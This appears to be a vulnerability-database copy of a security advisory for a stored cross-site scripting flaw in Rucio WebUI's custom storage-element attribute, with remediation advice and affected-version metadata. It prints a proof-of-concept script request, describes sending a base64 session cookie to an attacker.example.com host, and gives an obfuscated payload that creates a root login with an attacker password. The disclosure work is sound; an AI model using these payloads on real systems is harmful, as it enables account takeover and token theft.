GHSA-FQ4F-4738-RQXM

Vulnerability from github – Published: 2026-02-25 19:37 – Updated: 2026-02-27 21:50
VLAI?
Summary
Rucio WebUI has a Stored Cross-site Scripting (XSS) Vulnerability in its Custom RSE Attribute
Details

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.


Details

A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.

Create Path:
Admin > RSE Management > RSE NAME > Add Attribute

Trigger Path:
Admin > RSE Management > RSE NAME

Request

POST /proxy/rses/WEB1/attr/XSS HTTP/1.1
...
{"value":"<script>alert('XSS')</script>"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS Payload in RSE Attribute Storing XSS Payload in RSE Attribute

XSS Payload triggering when viewing RSE XSS Payload triggering when viewing RSE


Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)


Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "35.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "36.0.0rc1"
            },
            {
              "fixed": "38.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "39.0.0rc1"
            },
            {
              "fixed": "39.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T19:37:27Z",
    "nvd_published_at": "2026-02-25T20:23:48Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.\n\n---\n### Details\nA stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.\n\n**Create Path**:  \nAdmin \u003e RSE Management \u003e _RSE NAME_ \u003e Add Attribute\n\n**Trigger Path**:  \nAdmin \u003e RSE Management \u003e _RSE NAME_\n\n**Request**\n```http\nPOST /proxy/rses/WEB1/attr/XSS HTTP/1.1\n...\n{\"value\":\"\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\"}\n```\n\n**Response**\n```http\nHTTP/1.1 201 CREATED\n...\nCreated\n```\n\n**Storing XSS Payload in RSE Attribute**\n\u003cimg width=\"1234\" height=\"844\" alt=\"Storing XSS Payload in RSE Attribute\" src=\"https://github.com/user-attachments/assets/d10f58c2-8cea-43a9-bf7f-f94ef3d1fd81\" /\u003e\n\n**XSS Payload triggering when viewing RSE**\n\u003cimg width=\"1248\" height=\"949\" alt=\"XSS Payload triggering when viewing RSE\" src=\"https://github.com/user-attachments/assets/d536fac2-ab44-4cfb-b669-085a8c3db33e\" /\u003e\n---\n### Impact\nAny authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.\n\nThe impact is amplified by:\n- Session cookies that are accessible to JavaScript (missing HttpOnly flag).\n- API tokens exposed to the WebUI via JavaScript variables.\n\nAn attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`).\n\nAttackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.\n\n**XSS Payload to Create Root UserPass**\n```html\n\u003cimg src=x onerror=(function(){o={};o.method=\u0027PUT\u0027;o.credentials=\u0027include\u0027;o.headers={\u0027X-Rucio-Username\u0027:\u0027attackeruser\u0027,\u0027X-Rucio-Password\u0027:\u0027AttackerPassword123\u0027,\u0027X-Rucio-Email\u0027:\u0027demo@example.org\u0027,\u0027X-Rucio-Auth-Token\u0027:token};fetch(String.fromCharCode(47)+\u0027identities\u0027+String.fromCharCode(47)+\u0027root\u0027+String.fromCharCode(47)+\u0027userpass\u0027,o)})()\u003e\n```\n\n---\n### Remediation / Mitigation\nAll client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping.\n\nAdditional defense-in-depth measures include:\n- Enforcing a strict Content Security Policy (CSP).\n- Setting the HttpOnly flag on session cookies.\n- Avoiding exposure of API tokens in JavaScript-accessible variables.\n\n\u003e Note that many pages were found setting the API token as `token` in an authenticated response like `var token = \"root-root-webui-...:\"` (See `/ui/list_accounts` for example)\n\n---\n### Resources\n- OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)",
  "id": "GHSA-fq4f-4738-rqxm",
  "modified": "2026-02-27T21:50:31Z",
  "published": "2026-02-25T19:37:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/security/advisories/GHSA-fq4f-4738-rqxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25736"
    },
    {
      "type": "WEB",
      "url": "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rucio/rucio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/releases/tag/35.8.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/releases/tag/38.5.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/releases/tag/39.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rucio WebUI has a Stored Cross-site Scripting (XSS) Vulnerability in its Custom RSE Attribute"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…